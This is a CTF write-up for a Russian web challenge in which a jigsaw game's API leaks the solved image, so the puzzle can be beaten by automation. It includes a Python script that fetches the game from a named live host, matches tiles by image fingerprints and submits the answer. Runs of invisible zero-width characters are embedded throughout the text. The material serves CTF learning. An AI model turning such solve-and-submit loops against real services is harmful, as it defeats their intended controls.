← Back to Writeups
CUSTOMEasyWeb

Скоростные Пазлы – 2 (Speed Puzzles – 2)

XESXOR9/2/20264 min read
#web#custom#easy#api_contract_recon#fingerprint_matching#full_loop_automation#hungarian_assignment#original_image_disclosure

Скоростные Пазлы – 2 (Speed Puzzles – 2)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: api_contract_recon, fingerprint_matching, full_loop_automation, hungarian_assignment, original_image_disclosure

Summary

Walkthrough of the CUSTOM Web Скоростные Пазлы – 2 (Speed Puzzles – 2). Task: an Express jigsaw game gives 60s to assemble 64 shuffled tiles, but /api/new-game leaks the full solved originalImage to the client. Solution: split the original into an 8x8 grid, fingerprint-ma

Description

Чтобы получить флаг, нужно успеть собрать весь пазл за 1 минуту. Количество пазлов: 64 шт

English summary: An Express-based jigsaw-puzzle web game. To get the flag you must assemble the whole 64-piece (8x8) puzzle within a 60-second server-side timer. Manual drag-and-drop of 64 tiles in under a minute is infeasible, which forces automation — and the API hands the solution to the client.

Target: https://fast-puzzles-2.t1.bug-makers.ru ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recon

  • The landing page is a small static client (index.html, style.css, script.js) served by an Express app (X-Powered-By: Express).
  • Reading script.js revealed the JSON API contract:
    • GET /api/new-game — starts a game, returns the puzzle data.
    • POST /api/check-solution with {"solution": [<piece IDs in board row-major order>]} — validates an ordering.
  • A wrong submission returns {"success":false,"flag":false,"time":"<elapsed>","timeUp":false}, a correct one returns the flag, and an expired timer returns timeUp:true. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Mechanics / API

GET /api/new-game returns:

  • success: true
  • puzzle: array of 64 objects, each {id (UUID), image (data:image/jpeg;base64 of a single shuffled tile), width, height}
  • originalImage: data:image/jpeg;base64 of the full original solved image (the flaw)
  • gridSize: 8 (8x8 grid = 64 pieces)
  • pieceSize: tile pixel size (~71–74); original image was 592x592

POST /api/check-solution:

  • wrong → {"success":false,"flag":false,...}
  • correct → {"success":true,"flag":"BugCTF{...}",...}
  • timeout → timeUp:true ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A 60-second server-side timer runs per game.

Vulnerability / root cause

The server discloses the fully-assembled original image to the client inside the new-game response. The intended challenge is to solve the jigsaw by hand, but since the answer image is already present client-side, an attacker can reconstruct the correct ordering by image matching instead of solving the puzzle. Combined with machine-speed API submission, the 60-second timer is trivially beaten (solved in ~1 second).

This is a classic client-side answer disclosure in an API-driven web game: never send the solution to the client. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

Approach that worked on the first try:

  1. GET /api/new-game in a single requests.Session().
  2. Decode the base64 originalImage; split it into an 8x8 grid of cells (cell width = origWidth/8, height = origHeight/8).
  3. Decode each of the 64 piece JPEGs.
  4. Build a small fixed-size fingerprint per region: resize each grid cell and each piece to 8x8 RGB and flatten to a feature vector.
  5. Build a cost matrix of squared Euclidean distance (SSD) between every grid-cell fingerprint and every piece fingerprint.
  6. Solve the optimal assignment with scipy.optimize.linear_sum_assignment (Hungarian algorithm) to map each board position → piece ID.
  7. Emit piece IDs in row-major board order and POST /api/check-solution. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Total wall time ~2.4s including network; server-reported solve time ~0.98s. The underlying image was an anime picture (hence the flag).

python
#!/usr/bin/env python3
import requests, base64, io, json, time
from PIL import Image
import numpy as np

BASE = "https://fast-puzzles-2.t1.bug-makers.ru"
s = requests.Session()

t0 = time.time()
r = s.get(BASE + "/api/new-game")
d = r.json()
grid = d["gridSize"]
ps = d["pieceSize"]
pieces = d["puzzle"]

orig_b64 = d["originalImage"].split(",", 1)[1]
orig = Image.open(io.BytesIO(base64.b64decode(orig_b64))).convert("RGB")
ow, oh = orig.size
orig_np = np.asarray(orig, dtype=np.int16)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def decode_piece(p):
    b = base64.b64decode(p["image"].split(",",1)[1])
    return Image.open(io.BytesIO(b)).convert("RGB")

piece_imgs = {p["id"]: decode_piece(p) for p in pieces}

cw = ow / grid
ch = oh / grid
N = 8

def fp_from_array(arr):
    img = Image.fromarray(np.asarray(arr, dtype=np.uint8))
    img = img.resize((N, N), Image.BILINEAR)
    return np.asarray(img, dtype=np.float32).flatten()

cell_fps = {}
for row in range(grid):
    for col in range(grid):
        x0 = int(round(col*cw)); x1 = int(round((col+1)*cw))
        y0 = int(round(row*ch)); y1 = int(round((row+1)*ch))
        crop = orig_np[y0:y1, x0:x1]
        cell_fps[(row,col)] = fp_from_array(crop)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

piece_fps = {pid: fp_from_array(np.asarray(img, dtype=np.uint8)) for pid, img in piece_imgs.items()}

positions = [(r,c) for r in range(grid) for c in range(grid)]
ids = list(piece_imgs.keys())
cost = np.zeros((len(positions), len(ids)), dtype=np.float64)
for i,pos in enumerate(positions):
    cf = cell_fps[pos]
    for j,pid in enumerate(ids):
        cost[i,j] = np.sum((cf - piece_fps[pid])**2)

from scipy.optimize import linear_sum_assignment
rind, cind = linear_sum_assignment(cost)
assign = {positions[i]: ids[j] for i,j in zip(rind,cind)}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

solution = [assign[(r,c)] for r in range(grid) for c in range(grid)]
r2 = s.post(BASE + "/api/check-solution", json={"solution": solution})
print(r2.text)

If scipy is unavailable, a greedy nearest-match fallback (assign each cell its lowest-SSD remaining piece) also works for this image.

Key Indicators / Takeaways

Use this technique when:

  • An API-driven web game returns both the shuffled pieces and the solved/original artifact (originalImage) in the same new-game response — read the JS to find the contract first.
  • A challenge imposes a human time limit (here 60s for 64 tiles) that is infeasible by hand, signaling that full fetch→compute→submit automation in one session is the intended path.
  • You need robust jigsaw/permutation reassembly: downscaled fixed-size fingerprints + a cost matrix + the Hungarian algorithm (scipy.optimize.linear_sum_assignment) gives optimal cell→piece matching fast. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering api_contract_recon, fingerprint_matching, full_loop_automation, hungarian_assignment, original_image_disclosure was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-26 • CUSTOM • Скоростные Пазлы – 2 (Speed Puzzles – 2) • Difficulty: Easy